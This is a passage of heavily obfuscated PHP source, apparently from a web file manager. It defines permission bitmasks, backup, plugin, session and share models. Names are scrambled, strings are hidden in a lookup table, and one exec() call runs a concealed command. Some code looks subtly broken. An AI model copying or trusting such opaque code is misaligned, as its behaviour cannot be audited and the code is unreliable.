dă̖: if ($cĎ == $e[719]) { $D = explode($e[1068], $cݛ[$e[881]]); $cĎ = $D[0]; } if ($cĎ == $e[722] || $cĎ == $e[723]) { $FݺĖ = Model()->db()->query($e[2053]); $fӰ = $FݺĖ[0] && isset($FݺĖ[0][$e[1315]]) ? $FݺĖ[0][$e[1315]] : 0; $cĎ = $e[2054] . ($fӰ ? $e[8] . $fӰ : $e[33]); } $C˻ = $GLOBALS[$e[6]][$e[334]][$e[748]]; goto b̆; CƋ: $B = array($e[738] => $A͋[$e[364]]); $F茌 = Model($e[418])->where($B)->sum($e[77]); $D͖ = explode($e[50], $_SERVER[$e[138]]); goto A; b̆: return array($e[2055] => $B܎Å ? $B܎Å[$e[2056]] : 0, $e[2057] => $B܎Å ? $B܎Å[$e[2058]] : 0, $e[2059] => (int) $A͋[$e[2056]] * 1024 * 1024 * 1024, $e[2060] => (int) $F茌, $e[2061] => ucfirst($CДȿ̫), $e[2062] => $e[2063] . PHP_VERSION, $e[2064] => phpBuild64() ? 64 : 32, $e[689] => str_replace($e[2065], $e[898], $cĎ), $e[334] => ucfirst($C˻), $e[28] => $_SERVER[$e[2066]]); goto c׶; B̧: $e =& $_SERVER[ڊ]; $B܎Å = $this->diskDriver(); $A͋ = KodIO::defaultDriver(); goto CƋ; A: $CДȿ̫ = $D͖[0]; $cݛ = $GLOBALS[$e[6]][$e[17]]; $cĎ = $cݛ[$e[882]]; goto dă̖; c׶: } private function diskDriver() { goto D͔; D͔: $dʐ =& $_SERVER[ڊ]; $E = $dʐ[8]; $b״ = $GLOBALS[$dʐ[6]][$dʐ[2067]] == $dʐ[2068]; goto Dˢ; eﳇ: $bܠ = $fݚ - @disk_free_space($E); return array($dʐ[2056] => $fݚ, $dʐ[2058] => $bܠ); goto e; Dˢ: if ($b״) { $E = $dʐ[2069]; if (function_exists($dʐ[2070])) { exec($dʐ[2071], $bѨ); $E = $bѨ[1] . $dʐ[8]; } } if (!file_exists($E)) { return; } $fݚ = @disk_total_space($E); goto eﳇ; e: } public function fileChart($Dݪ) { goto aԍ; Cؼ: $D⾔ = $this->sourceSize(); $B٥Í = array($CҺ򡬑[457] => 0, $CҺ򡬑[368] => 1); $e = Model($CҺ򡬑[747])->where($B٥Í)->sum($CҺ򡬑[77]); goto C䃑; aԍ: $CҺ򡬑 =& $_SERVER[ڊ]; if (isset($Dݪ[$CҺ򡬑[1409]])) { return Model($CҺ򡬑[747])->userFileTypeProfile($Dݪ[$CҺ򡬑[1409]]); } if (isset($Dݪ[$CҺ򡬑[2072]])) { return Model($CҺ򡬑[747])->groupFileTypeProfile($Dݪ[$CҺ򡬑[2072]]); } goto Cؼ; C䃑: $B٥Í[$CҺ򡬑[368]] = 2; $Cݜ = Model($CҺ򡬑[747])->where($B٥Í)->sum($CҺ򡬑[77]); return array($CҺ򡬑[693] => $D⾔[$CҺ򡬑[77]], $CҺ򡬑[2003] => $D⾔[$CҺ򡬑[2003]], $CҺ򡬑[2004] => (int) $e, $CҺ򡬑[2005] => (int) $Cݜ); goto eݾ; eݾ: } private function sourceSize() { $Fګ =& $_SERVER[ڊ]; $DԎ = Model($Fګ[747])->where(array($Fګ[367] => 0))->sum($Fګ[77]); $c = Model($Fګ[418])->sum($Fګ[77]); if ($c > $DԎ) { $c = $DԎ; } return array($Fګ[77] => (int) $DԎ, $Fګ[2003] => (int) $c); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authDefault() { $d᩺ =& $_SERVER[ڊ]; $d۠ = array(array($d᩺[383] => LNG($d᩺[2073]), $d᩺[2074] => $d᩺[2075], $d᩺[2076] => 6, $d᩺[2077] => 1, $d᩺[2078] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($d᩺[383] => LNG($d᩺[2079]), $d᩺[2074] => $d᩺[2080], $d᩺[2076] => 1, $d᩺[2077] => 1, $d᩺[2078] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($d᩺[383] => LNG($d᩺[2081]), $d᩺[2074] => $d᩺[2082], $d᩺[2076] => 2, $d᩺[2077] => 1, $d᩺[2078] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($d᩺[383] => LNG($d᩺[2083]), $d᩺[2074] => $d᩺[2082], $d᩺[2076] => 3, $d᩺[2077] => 1, $d᩺[2078] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($d᩺[383] => LNG($d᩺[2084]), $d᩺[2074] => $d᩺[2085], $d᩺[2076] => 4, $d᩺[2077] => 1, $d᩺[2078] => self::AUTH_SHOW | self::AUTH_VIEW), array($d᩺[383] => LNG($d᩺[2086]), $d᩺[2074] => $d᩺[2087], $d᩺[2076] => 5, $d᩺[2077] => 1, $d᩺[2078] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($d᩺[383] => LNG($d᩺[2088]), $d᩺[2074] => $d᩺[2089], $d᩺[2076] => 7, $d᩺[2077] => 1, $d᩺[2078] => 0)); return $d۠; } public static function authCheck($BIJ, $Cʰ۴) { $BIJ = intval($BIJ); if (_get($GLOBALS, $_SERVER[ڊ][453])) { return !0; } if ($BIJ <= 0) { return !1; } if (($BIJ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($BIJ & $Cʰ۴); } public static function authCheckShow($EЍ) { return self::authCheck($EЍ, self::AUTH_SHOW); } public static function authCheckView($aټ) { return self::authCheck($aټ, self::AUTH_VIEW); } public static function authCheckDownload($aݔ) { return self::authCheck($aݔ, self::AUTH_DOWNLOAD); } public static function authCheckUpload($a) { return self::authCheck($a, self::AUTH_UPLOAD); } public static function authCheckEdit($f) { return self::authCheck($f, self::AUTH_EDIT); } public static function authCheckRemove($Eڋ) { return self::authCheck($Eڋ, self::AUTH_REMOVE); } public static function authCheckShare($Fž) { return self::authCheck($Fž, self::AUTH_SHARE); } public static function authCheckComment($Eխ̜) { return self::authCheck($Eխ̜, self::AUTH_COMMENT); } public static function authCheckEvent($F) { return self::authCheck($F, self::AUTH_EVENT); } public static function authCheckRoot($DܪѪ) { return self::authCheck($DܪѪ, self::AUTH_ROOT); } public static function authDisable($bݰ, $bو) { if (intval($bݰ) <= 0) { return 0; } return intval($bݰ) & ~$bو; } public $optionType = "\123\x79\163\164\145\155\x2e\x73\x6f\165\162\143\145\x41\x75\x74\x68\x4c\151\x73\164"; public $field = array("\x6e\x61\x6d\145", "\x61\x75\x74\150", "\154\x61\x62\x65\154", "\x64\x69\163\x70\x6c\141\x79", "\163\171\x73\x74\145\x6d", "\163\x6f\x72\164"); public function initData() { $dÇ = $this->authDefault(); foreach ($dÇ as $a羪) { $this->add($a羪); } } public function listData($f = false, $b߶ = "\x73\157\x72\x74", $CϬ = false) { return parent::listData($fÂ, $b߶, $CϬ); } public function update($a򭣔, $bŪԄ) { $Bȥ =& $_SERVER[ڊ]; $dٝ = parent::listData($a򭣔); $D = $this->findByName($bŪԄ[$Bȥ[28]]); if (!$dٝ || $D && $D[$Bȥ[364]] != $dٝ[$Bȥ[364]]) { return !1; } $this->filterAuth($bŪԄ[$Bȥ[373]]); return parent::update($a򭣔, $bŪԄ); } public function remove($f읤) { $B = parent::listData($f읤); if (!$B || $B[$_SERVER[ڊ][1072]]) { return !1; } return parent::remove($f읤); } public function add($bʤ = array()) { goto D; D: $Aܓҿ =& $_SERVER[ڊ]; if ($this->findByName($bʤ[$Aܓҿ[28]])) { return !1; } $Dǝ = array($Aܓҿ[28] => $Aܓҿ[33], $Aܓҿ[373] => 1, $Aܓҿ[2090] => $Aܓҿ[2091], $Aܓҿ[2092] => 1, $Aܓҿ[1072] => 0, $Aܓҿ[2093] => 0); goto E; E: $bʤ = array_merge($Dǝ, $bʤ); $bʤ[$Aܓҿ[2093]] = $this->getSort(); $this->filterAuth($bʤ[$Aܓҿ[373]]); goto b; b: return parent::insert($bʤ); goto eބ; eބ: } private function getSort() { $D =& $_SERVER[ڊ]; $B = parent::listData(); $dȯﶶ = array_to_keyvalue($B, $D[33], $D[2093]); return empty($dȯﶶ) ? 0 : max($dȯﶶ) + 1; } private function filterAuth(&$D) { goto A䄦; c: foreach ($dʳ as $aŨ) { if ($D & $aŨ) { $C锑[] = $aŨ; } } if (in_array(self::AUTH_ROOT, $C锑)) { $D = array_sum($dʳ); return; } $Cė = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); goto A; A䄦: if (!$D) { return; } $dʳ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $C锑 = array(); goto c; A: foreach ($C锑 as $aŨ) { if (isset($Cė[$aŨ])) { $C锑 = array_merge($C锑, $Cė[$aŨ]); } } $C锑[] = self::AUTH_SHOW; $D = array_sum(array_unique($C锑)); goto a; a: } public function sort($eԢ, $Bյ) { return parent::update($eԢ, $Bյ); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\171\163\164\145\155\x2e\x62\x61\143\153\165\160\x4c\151\163\x74"; public $field = array("\x69\x6f", "\x6e\141\155\145", "\163\164\141\x74\165\163", "\143\157\x6e\164\x65\156\164", "\162\x65\x73\x75\x6c\164", "\164\x69\x6d\x65\x46\x72\157\155", "\164\151\x6d\145\x54\157"); public function config() { goto Cݴ; Cݴ: $Dʉ宊 =& $_SERVER[ڊ]; $C = Model($Dʉ宊[1080])->get($Dʉ宊[707]); $C = json_decode($C, !0); goto a; a: $C = is_array($C) ? $C : array(); if (!isset($C[$Dʉ宊[687]])) { $C[$Dʉ宊[687]] = $Dʉ宊[464]; } $C˃ = array(); goto Cĺ; Cĺ: Action($Dʉ宊[2094])->taskInit(); $C܉򏎱 = Model($Dʉ宊[2095])->listData(); foreach ($C܉򏎱 as $e) { if ($e[$Dʉ宊[1072]] == $Dʉ宊[83] && $e[$Dʉ宊[1397]] == $Dʉ宊[2096]) { $C˃ = $e; break; } } goto b؊; b؊: if (isset($C˃[$Dʉ宊[187]])) { $C˃[$Dʉ宊[187]] = json_decode($C˃[$Dʉ宊[187]], !0); } if (isset($C[$Dʉ宊[187]])) { $C˃[$Dʉ宊[187]][$Dʉ宊[1384]] = $C[$Dʉ宊[187]]; unset($C[$Dʉ宊[187]]); } return array_merge($C˃, $C); goto E; E: } public function listData($b尞 = false, $a = "\x6d\x6f\x64\151\x66\x79\124\151\155\x65", $F捚ރ = false) { return parent::listData($b尞, $a, !0); } public function lastItem() { $e԰ = $this->listData(); return !empty($e԰[0]) ? $e԰[0] : null; } public function kill($b臵) { goto Fƍ˽; Fƍ˽: $b꜑ =& $_SERVER[ڊ]; $aЛ = $this->listData($b臵); if (!$aЛ || empty($aЛ[$b꜑[28]])) { return !0; } goto f̍; f̍: Task::kill($b꜑[706]); Task::kill($b꜑[724]); Task::kill($b꜑[731]); goto e; dถ: return $this->remove($b臵); goto E㴽; e: $Dٙ璌ʬ = $aЛ[$b꜑[28]]; $AƇ = TEMP_FILES . $b꜑[705] . $Dٙ璌ʬ . $b꜑[8]; IO::remove($AƇ, !1); goto dถ; E㴽: } public function remove($cǚij) { $A˂ = $this->listData($cǚij); if (!$A˂) { return !0; } return $this->backupRemove($A˂); } private function backupRemove($Fޛُ) { $D =& $_SERVER[ڊ]; parent::remove($Fޛُ[$D[364]]); $b = "\x7b\151\157\72{$Fޛُ[$D[686]]}\175\57\144\141\164\x61\x62\x61\x73\145\57\x62\141\x63\x6b\x75\160\x5f" . $Fޛُ[$D[28]]; IO::remove($b, !1); return !0; } public function start() { goto Eڶ; F: return !0; goto dĕ٣˧; Aב: if (!$dʈ->dbFile()) { return !1; } if ($cȸ[$DܶŇ[687]] == $DܶŇ[464]) { $dʈ->file(); } Backup::set(array($DܶŇ[684] => 1, $DܶŇ[698] => time())); goto F; C: $dʈ = new Backup(); $dʈ->keep(); if (!$dʈ->db()) { return !1; } goto Aב; Eڶ: $DܶŇ =& $_SERVER[ڊ]; if ($GLOBALS[$DܶŇ[6]][$DܶŇ[84]][$DܶŇ[2097]] != $DܶŇ[83]) { return !0; } $cȸ = $this->config(); goto aئ; aئ: if (!$cȸ || $cȸ[$DܶŇ[1381]] != $DܶŇ[83]) { return !1; } $Fƈ = $this->process(); foreach ($Fƈ as $Dǻ) { if ($Dǻ) { return Task::restart($Dǻ[$DܶŇ[364]]); } } goto C; dĕ٣˧: } public function process() { $aؠ =& $_SERVER[ڊ]; return array($aؠ[689] => Task::get($aؠ[706]), $aؠ[692] => Task::get($aؠ[724]), $aؠ[164] => Task::get($aؠ[731])); } public function restore() { $fń =& $_SERVER[ڊ]; ActionCall($fń[2098], !0, 1); ActionCall($fń[2098], !0, 0); } } goto bώ; AŜъ: class PluginModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\x65\x6d\x2e\x70\154\165\x67\151\x6e\x4c\x69\x73\164"; public $field = array("\156\x61\x6d\145", "\163\x74\141\x74\x75\163", "\x72\145\x67\151\145\163\164", "\x63\x6f\x6e\x66\x69\147"); public function loadList($f廅 = false) { $fЃ = array_to_keyvalue($this->listData(), $_SERVER[ڊ][28]); if ($f廅) { return $fЃ[$f廅]; } return $fЃ; } public function init() { $e =& $_SERVER[ڊ]; Hook::trigger($e[2160]); $e = $this->loadPluginList(); foreach ($e as $c => $aڎʎ) { $cđщґ = $this->appAllow($c, $aڎʎ); if (!$cđщґ) { continue; } foreach ($aڎʎ[$e[2161]] as $Cԏ => $aߚ) { Hook::bind($Cԏ, $aߚ); } } Hook::trigger($e[2162]); Hook::trigger(ACTION); } public function appAllow($C, $Eۧ, $D = true) { $A氒 =& $_SERVER[ڊ]; $a綈ͅ = PLUGIN_DIR . $C . $A氒[2163]; if (!is_array($Eۧ) || !is_array($Eۧ[$A氒[2161]]) || !is_file($a綈ͅ) || $Eۧ[$A氒[684]] != 1) { return !1; } if ($D && !Action($A氒[2164])->checkAuth($C)) { return !1; } return !0; } public function unInstall($A) { $a =& $_SERVER[ڊ]; $B뤛 = $this->loadList($A); if (file_exists(PLUGIN_DIR . $A)) { Hook::apply($A . $a[2165]); } $this->remove($B뤛[$a[364]]); } public function changeStatus($fí, $Fڭش) { $bݨ =& $_SERVER[ڊ]; $FӞ = $this->loadList($fí); if ($Fڭش) { Hook::apply($fí . $bݨ[2166]); } $this->update($FӞ[$bݨ[364]], array($bݨ[2167] => $Fڭش)); } public function appRegist($E, $Fì) { $B =& $_SERVER[ڊ]; $c᲋굷 = $this->loadList($E); if ($c᲋굷) { $this->update($c᲋굷[$B[364]], array($B[2161] => $Fì)); } else { $A = array($B[28] => $E, $B[2161] => $Fì, $B[684] => 0, $B[6] => $this->getConfigDefault($E)); $this->insert($A); } } public function getConfigDefault($b) { $Cǫ =& $_SERVER[ڊ]; $F᯲ = array(); $E = $this->getPackageJson($b); if (!$E && is_array($E[$Cǫ[2168]])) { return $F᯲; } foreach ($E[$Cǫ[2168]] as $c => $cцѠ) { if (!isset($cцѠ[$Cǫ[356]]) || isset($F᯲[$c])) { continue; } $F᯲[$c] = $cцѠ[$Cǫ[356]]; } return $F᯲; } public function getPackageJson($AȐ) { return Hook::apply($AȐ . $_SERVER[ڊ][2169]); } public function getConfig($ců, $b = false) { $E೫ =& $_SERVER[ڊ]; $b = array(); $b = $this->loadList($ců); if ($b && is_array($b[$E೫[6]])) { $b = $b[$E೫[6]]; } if (!$b || $b) { $b = $this->getConfigDefault($ců); } return $b; } public function setConfig($D, $CԘŐ = false) { goto EҐ; EҐ: $dӌ؇ =& $_SERVER[ڊ]; $c҃ = $this->loadList($D); if (!$c҃) { return !1; } goto F; F: if ($CԘŐ == !1) { $CԘŐ = $this->getConfigDefault($D); } $b㇂ = $c҃[$dӌ؇[6]]; foreach ($CԘŐ as $fȜ => $A±) { $b㇂[$fȜ] = is_string($A±) ? trim($A±) : $A±; } goto aࣶř; aࣶř: $this->update($c҃[$dӌ؇[364]], array($dӌ؇[6] => $b㇂)); goto DѮ; DѮ: } public function viewList() { goto AҎƍ; d˺ذ: $dش = $this->loadPluginList(); $FΣ = array(); foreach ($dش as $E => $fÙ) { unset($fÙ[$cУ[2161]], $fÙ[$cУ[6]]); $B = PLUGIN_DIR . $fÙ[$cУ[28]] . $cУ[2163]; if (!is_file($B)) { continue; } $a੃ = Hook::apply($fÙ[$cУ[28]] . $cУ[2169]); if (is_array($a੃)) { $FΣ[$E] = array_merge($fÙ, $a੃); } } goto D烆; AҎƍ: $cУ =& $_SERVER[ڊ]; $dش = $this->loadList(); $this->pluginScan($dش); goto d˺ذ; D烆: return $FΣ; goto Eۮ޶; Eۮ޶: } private function loadPluginList() { $AΔ =& $_SERVER[ڊ]; $Eا = $this->loadList(); if (strtolower(MOD) == $AΔ[2170]) { return $Eا; } $DΪ = Hook::trigger($AΔ[2171], $Eا); if ($Eا && !$DΪ) { die; } return $DΪ ? $DΪ : $Eا; } private function pluginScan($E⦂ƕ) { $F =& $_SERVER[ڊ]; recursion_dir(PLUGIN_DIR, $A˔, $e, 0); foreach ($A˔ as $D) { $Eى = get_path_this($D); if (isset($E⦂ƕ[$Eى]) || !file_exists($D . $F[2172]) || !file_exists($D . $F[2163])) { continue; } Hook::apply($Eى . $F[2166]); } } } class SessionModel extends ModelBase { protected $tableName = "\x73\171\163\164\145\x6d\x5f\x73\145\163\x73\151\157\x6e"; public function get($aՄ) { $eʯ =& $_SERVER[ڊ]; $a = $this->where(array($eʯ[2173] => $aՄ))->find(); if (!is_array($a)) { return !1; } return $a[$eʯ[687]]; } public function set($F, $bĮɫ, $Dˑ = 3600) { $Dﮊޚ =& $_SERVER[ڊ]; $AÉִ = array($Dﮊޚ[2173] => $F, $Dﮊޚ[2102] => $bĮɫ, $Dﮊޚ[2174] => $Dˑ + time()); if (Session::get($Dﮊޚ[2175])) { $AÉִ[$Dﮊޚ[1409]] = Session::get($Dﮊޚ[2175]); } else { $AÉִ[$Dﮊޚ[1409]] = 0; } if ($this->get($F)) { return $this->where(array($Dﮊޚ[2173] => $F))->save($AÉִ); } else { return $this->add($AÉִ, array(), !0); } } public function remove($bšï) { return $this->where(array($_SERVER[ڊ][2173] => $bšï))->delete(); } public function clearTimeout() { return $this->where($_SERVER[ڊ][2176] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\163\150\x61\x72\145"; protected $dataAuto = array(array("\155\157\144\x69\x66\171\x54\151\155\145", "\164\151\x6d\x65", "\151\156\x73\145\x72\164\x2c\x75\160\144\x61\164\145", "\146\x75\156\x63\164\151\x6f\156"), array("\x63\x72\x65\141\x74\145\x54\151\155\145", "\x74\151\x6d\145", "\x69\x6e\163\145\x72\x74", "\x66\x75\156\x63\x74\151\x6f\x6e"), array("\157\160\164\x69\x6f\156\x73", '', "\151\156\x73\145\x72\164\x2c\x75\x70\x64\x61\164\145\54\x73\145\x6c\145\x63\x74", "\x6a\163\x6f\156")); private $fieldList = "\52"; protected function cacheFunctionAlias($aό) { $A =& $_SERVER[ڊ]; $Eۏ퉄 = isset($aό[0]) ? $aό[0] : !1; return array($A[2177] => array(USER_ID, $A[2178]), $A[2140] => array($Eۏ퉄, $A[2179])); } protected function listSimple() { $Dݣ = array($_SERVER[ڊ][1409] => USER_ID); $e똫 = $this->field($this->fieldList)->where($Dݣ)->select(); return $e똫 ? $e똫 : array(); } protected function getInfo($b޷, $bì = false) { $D =& $_SERVER[ڊ]; if ($bì) { return $this->_getShareInfo(array($D[437] => $b޷)); } $fԬߨ´ = $this->cacheFunctionGet($D[2180], $b޷); return $fԬߨ´; } public function getInfoByHash($fƴ) { return $this->_getShareInfo(array($_SERVER[ڊ][439] => $fƴ)); } public function getInfoByPath($DТ) { $b󰫻 =& $_SERVER[ڊ]; $BܕŇ = array($b󰫻[1409] => USER_ID, $b󰫻[366] => $DТ); return $this->_getShareInfo($BܕŇ); } public function getInfoBySourcePath($Aõ) { $FݐӴ =& $_SERVER[ڊ]; $eȯ = array($FݐӴ[1409] => USER_ID, $FݐӴ[1010] => $Aõ); return $this->_getShareInfo($eȯ); } private function _getShareInfo($A塶) { goto b֥ȡ; FՕÇ: $A塶 = array($bۧ[437] => $f꒞Ň[$bۧ[437]]); $c = $bۧ[2181]; $c❊ = Model($bۧ[533])->order($bۧ[364])->field($c)->where($A塶)->select(); goto eƂ; eƂ: if ($f꒞Ň[$bۧ[366]] == $bۧ[464]) { $f꒞Ň[$bۧ[388]] = IO::info($f꒞Ň[$bۧ[1010]]); } else { $f꒞Ň[$bۧ[388]] = Model($bۧ[1102])->pathInfo($f꒞Ň[$bۧ[366]]); } $f꒞Ň[$bۧ[2182]] = $c❊; return $f꒞Ň; goto EãӞ; b֥ȡ: $bۧ =& $_SERVER[ڊ]; $f꒞Ň = $this->where($A塶)->find(); if (!$f꒞Ň) { return !1; } goto FՕÇ; EãӞ: } protected function getInfoAuth($F) { $D₰ =& $_SERVER[ڊ]; $C¸ĺ = $this->getInfo($F); $C¸ĺ[$D₰[373]] = Model($D₰[450])->authMake($C¸ĺ[$D₰[2182]]); return $C¸ĺ; } protected function listData($A = null, $DΑ = 300) { $c =& $_SERVER[ڊ]; $D = array(array($c[442] => array($c[920], 0), $c[444] => array($c[920], 0), $c[2183] => $c[2152])); if ($A == $c[1839]) { $D = array($c[442] => 1); } else { if ($A == $c[999]) { $D = array($c[444] => 1); } } $D[$c[1409]] = USER_ID; $FŨ = $this->where($D)->selectPage($DΑ); return $FŨ; } protected function listToMe($eԯܢ = 300) { goto BƯɅ; D؋Ȋ: $E = array($C։[517] => SourceModel::TYPE_USER, $C։[452] => USER_ID); if ($E) { $E = array(array($C։[517] => SourceModel::TYPE_USER, $C։[452] => USER_ID), array($C։[517] => SourceModel::TYPE_GROUP, $C։[452] => array($C։[7], $E)), $C։[2183] => $C։[2152]); } $fЏ = Model($C։[533])->where($E)->selectPage($eԯܢ); goto C; dõ: $F㷏۶ = array($C։[2186] => $Eѧ, $C։[2187] => $fЏ[$C։[348]]); return $F㷏۶; goto d; BƯɅ: $C։ =& $_SERVER[ڊ]; $B = Session::get($C։[2184]); $E = array_to_keyvalue($B, $C։[33], $C։[2072]); goto D؋Ȋ; bڰݎ: $E = array($C։[437] => array($C։[381], array_keys($b叛))); $Eѧ = $this->field($D)->where($E)->select(); foreach ($Eѧ as $a => &$e) { $e[$C։[2182]] = $b叛[$e[$C։[437]]]; } goto dõ; C: $b叛 = array_to_keyvalue_group($fЏ[$C։[351]], $C։[437]); if (!$b叛) { return $fЏ; } $D = $C։[2185]; goto bڰݎ; d: } protected function shareAdd($Fې줃, $AΊ) { $f =& $_SERVER[ڊ]; $EÖ = $this->_addShareData($Fې줃, $AΊ); if (!empty($AΊ[$f[2188]])) { $this->_shareAuthSet($EÖ, $AΊ[$f[2188]]); } $this->shareEventAdd($Fې줃, $AΊ, $f[1002]); return $EÖ; } private function shareEventAdd($cې٘, $A􇈢Ѝ, $EȲ = "\141\x64\144") { goto f; D؎: $Dט؄ = $cڱ[2191]; if ($Bј[$cڱ[442]] == $cڱ[464] && $A􇈢Ѝ[$cڱ[442]] == $cڱ[83]) { $Dט؄ = $cڱ[2189]; } if ($Bј[$cڱ[442]] == $cڱ[83] && $A􇈢Ѝ[$cڱ[442]] == $cڱ[464]) { $Dט؄ = $cڱ[2192]; } goto Bɧ; Fń栣: return; goto BҚ; f: $cڱ =& $_SERVER[ڊ]; if ($EȲ == $cڱ[1002]) { if ($A􇈢Ѝ[$cڱ[442]] == $cڱ[83]) { Model($cڱ[501])->eventShare($cې٘, $cڱ[2189]); } if ($A􇈢Ѝ[$cڱ[444]] == $cڱ[83]) { Model($cڱ[501])->eventShare($cې٘, $cڱ[2190]); } return; } $Bј = $this->getInfoByPath($cې٘); goto D؎; Bɧ: if ($Bј[$cڱ[444]] == $cڱ[464] && $A􇈢Ѝ[$cڱ[444]] == $cڱ[83]) { $Dט؄ = $cڱ[2190]; } if ($Bј[$cڱ[444]] == $cڱ[83] && $A􇈢Ѝ[$cڱ[444]] == $cڱ[464]) { $Dט؄ = $cڱ[2193]; } Model($cڱ[501])->eventShare($cې٘, $Dט؄); goto Fń栣; BҚ: } private function _addShareData($D͝, $bۅ = array()) { goto Cۥ; c: $bÌ擤 = $this->add($eϒ); $dڸۺ = array($a[439] => short_id($bÌ擤)); $this->where(array($a[436] => $bÌ擤))->save($dڸۺ); goto Eúܬ; aɯ: if ($Aܪ = $this->where($cפ)->find()) { return $Aܪ[$a[437]]; } if ($D͝ == 0) { $f = array($a[28] => get_path_this($bۅ[$a[75]])); } else { $f = Model($a[747])->sourceInfo($D͝); if (!$f) { return !1; } } if (!$bۅ[$a[1316]]) { $bۅ[$a[1316]] = $f[$a[28]]; } goto Eʔ; Eʔ: $eϒ = array($a[1400] => USER_ID, $a[380] => $D͝, $a[1316] => $a[33], $a[442] => 0, $a[444] => 0, $a[1010] => $a[33], $a[292] => $a[33], $a[796] => $a[33], $a[2195] => 0, $a[2196] => 0, $a[698] => 0, $a[2197] => $a[33], $a[439] => $a[33]); $aօ杊 = explode($a[47], $a[2198]); foreach ($aօ杊 as $eԶ) { if (!isset($bۅ[$eԶ])) { continue; } $eϒ[$eԶ] = $bۅ[$eԶ]; } goto c; Eúܬ: return $bÌ擤; goto eЃ; Cۥ: $a =& $_SERVER[ڊ]; $cפ = array($a[380] => $D͝, $a[1400] => USER_ID); if ($D͝ == 0) { $cפ = array($a[2194] => $bۅ[$a[1010]], $a[1400] => USER_ID); } goto aɯ; eЃ: } private function _shareAuthSet($BĹ, $b) { goto cפԃǡ; f٩: $bݽ->where(array($f[437] => $BĹ))->delete(); $D軅 = array(); foreach ($b as $Cԧ) { $a = SourceModel::TYPE_USER; if ($Cԧ[$f[368]] == SourceModel::TYPE_GROUP) { $a = SourceModel::TYPE_GROUP; } $Eڬ = array($f[437] => $BĹ, $f[368] => $a, $f[452] => intval($Cԧ[$f[452]]), $f[2200] => 0, $f[2201] => -1); if ($Cԧ[$f[2200]]) { $Eڬ[$f[2200]] = $Cԧ[$f[2200]]; } else { if ($Cԧ[$f[2201]]) { $Eڬ[$f[2201]] = $Cԧ[$f[2201]]; } } $D軅[] = $Eڬ; } goto AŦ; cפԃǡ: $f =& $_SERVER[ڊ]; if (!is_array($b)) { return !1; } $bݽ = Model($f[2199]); goto f٩; AŦ: return $bݽ->addAll($D軅, array(), !0); goto E; E: } public function numViewAdd($f̎) { $dܰ =& $_SERVER[ڊ]; $e = array($dܰ[436] => $f̎); $this->where($e)->setAdd($dܰ[2195]); } public function numDownloadAdd($c葝) { $DӐ =& $_SERVER[ڊ]; $E = array($DӐ[436] => $c葝); $this->where($E)->setAdd($DӐ[2196]); } protected function shareEdit($b, $eƗ) { goto C; F: $this->_checkLinkShare($eƗ, $bԳ); $eǯ = array(); $C = explode($f[47], $f[2202]); goto Aॢ; Aॢ: foreach ($C as $c윟) { if (!array_key_exists($c윟, $eƗ)) { continue; } $eǯ[$c윟] = $eƗ[$c윟]; } $this->shareEventAdd($bԳ[$f[366]], $eƗ, $f[2040]); $this->where(array($f[436] => $b))->save($eǯ); goto Ė; Ė: if (isset($eƗ[$f[2188]])) { $this->_shareAuthSet($b, $eƗ[$f[2188]]); } return !0; goto c̃٤ђ; C: $f =& $_SERVER[ڊ]; $bԳ = $this->getInfo($b); if (!$bԳ) { return !1; } goto F; c̃٤ђ: } private function _checkLinkShare($F͓nj, $BƸ) { goto BѐӺ; E: if ($BƸ[$bݐ[388]][$bݐ[29]] != $bݐ[164]) { $b©읯 = $this->_folderReport($eӥؕ); if (!$b©읯) { return; } show_json(LNG($bݐ[2203]) . $bݐ[2204] . $b©읯, !1); } $B˱ = Model($bݐ[747])->fileInfoGet($BƸ[$bݐ[388]][$bݐ[366]]); if (!$B˱) { return; } goto B; B: $Fψ = $this->shareFileMeta($B˱[$bݐ[415]]); if (isset($Fψ[$bݐ[356]]) && $Fψ[$bݐ[356]] == $bݐ[83]) { show_json(LNG($bݐ[2205]), !1); } goto dГ; BѐӺ: $bݐ =& $_SERVER[ڊ]; if ($F͓nj[$bݐ[442]] != $bݐ[83]) { return; } $eӥؕ = $BƸ[$bݐ[388]][$bݐ[366]]; goto E; dГ: } private function _folderReport($c鍆) { goto Aŋ; Aŋ: $b =& $_SERVER[ڊ]; $Aݚ = array($b[415] => array($b[920], 0), $b[684] => 3); $aݹł = Model($b[2206])->where($Aݚ)->field($b[415])->select(); goto c; c: if (!$aݹł) { return !1; } $aݹł = array_to_keyvalue($aݹł, $b[33], $b[415]); $cꝽ = $b[47] . $c鍆 . $b[47]; goto F; E㱛: $bԊ = substr($aǦ[$b[455]], strpos($aǦ[$b[455]], $cꝽ)); $Aݚ = 